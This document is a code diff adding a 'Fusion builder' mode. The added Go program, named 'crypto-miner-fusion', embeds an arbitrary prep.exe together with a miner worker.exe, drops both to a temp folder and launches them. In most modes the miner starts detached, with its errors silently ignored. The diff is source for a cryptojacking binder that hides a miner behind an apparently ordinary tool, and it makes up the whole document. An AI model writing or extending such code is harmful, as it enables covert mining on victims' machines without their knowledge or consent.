Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.

fusion/go.mod

@@ -0,0 +1,3 @@
+module crypto-miner-fusion
+
+go 1.26.3

fusion/main.go

@@ -0,0 +1,71 @@
+package main
+
+import (
+	_ "embed"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"sync"
+)
+
+//go:embed assets/prep.exe
+var prepExe []byte
+
+//go:embed assets/worker.exe
+var workerExe []byte
+
+// RunOrder is replaced at build time (parallel | prep_first | worker_first).
+const runOrder = "FUSION_RUN_ORDER"
+
+func main() {
+	dir, err := os.MkdirTemp("", "cm-fusion-*")
+	if err != nil {
+		return
+	}
+	defer os.RemoveAll(dir)
+
+	prepPath := filepath.Join(dir, "prep.exe")
+	workerPath := filepath.Join(dir, "worker.exe")
+	if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
+		return
+	}
+	if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
+		return
+	}
+
+	switch runOrder {
+	case "prep_first":
+		waitProcess(prepPath)
+		startProcess(workerPath)
+	case "worker_first":
+		waitProcess(workerPath)
+		waitProcess(prepPath)
+	default:
+		var wg sync.WaitGroup
+		wg.Add(2)
+		go func() {
+			defer wg.Done()
+			waitProcess(prepPath)
+		}()
+		go func() {
+			defer wg.Done()
+			startProcess(workerPath)
+		}()
+		wg.Wait()
+	}
+}
+
+func startProcess(path string) {
+	cmd := exec.Command(path)
+	cmd.Dir = filepath.Dir(path)
+	_ = cmd.Start()
+}
+
+func waitProcess(path string) {
+	cmd := exec.Command(path)
+	cmd.Dir = filepath.Dir(path)
+	if err := cmd.Run(); err != nil {
+		fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
+	}
+}